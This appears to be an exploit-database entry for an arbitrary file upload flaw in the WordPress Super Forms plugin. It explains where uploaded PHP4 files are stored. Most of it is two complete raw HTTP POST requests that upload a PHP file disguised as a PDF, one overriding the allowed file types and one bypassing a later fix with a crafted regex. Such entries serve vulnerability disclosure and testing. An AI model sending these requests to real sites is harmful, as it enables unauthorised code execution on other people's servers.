Share
## https://sploitus.com/exploit?id=WPEX-ID:787AA6B0-82DC-4B6D-893B-A54FAE43415F
If a form from the plugin with an upload field is present on the blog, and is used to upload the file (by intercepting it and modifying the request accordingly), then the PHP4 file will be moved to /wp-content/uploads/surperforms/<current-year>/<current-month>/<id>/<filename.php4> (via the AJAX action super_send_email). With the id being a random number between 100 000 000 and 999 999 999.

If the request is sent directly to /wp-content/plugins/super-forms/uploads/php/, the file will be uploaded in /wp-content/plugins/super-forms/uploads/php/files/<uid>/<filename.php4> with the uid being returned in the response. However, the plugin has an .htaccess preventing files to be accessed and the response content is set application/octet-stream on Apache web servers.


POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------300570514731228156932507970177
Content-Length: 507
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="accept_file_types"

php4
-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="files[]"; filename="yolo.php4"
Content-Type: application/pdf

<?php echo 'FAILED'; ?>

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="max_file_size"

5000000
-----------------------------300570514731228156932507970177--


v <= 4.9.701 restricted php4, however php files could still be uploaded by giving crafted patterns:

POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------300570514731228156932507970177
Content-Length: 507
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="accept_file_types"

[a-z]+|phps?|phpa?|phpb*
-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="files[]"; filename="yolo.php4"
Content-Type: application/pdf

<?php echo 'FAILED'; ?>

-----------------------------300570514731228156932507970177
Content-Disposition: form-data; name="max_file_size"

5000000
-----------------------------300570514731228156932507970177--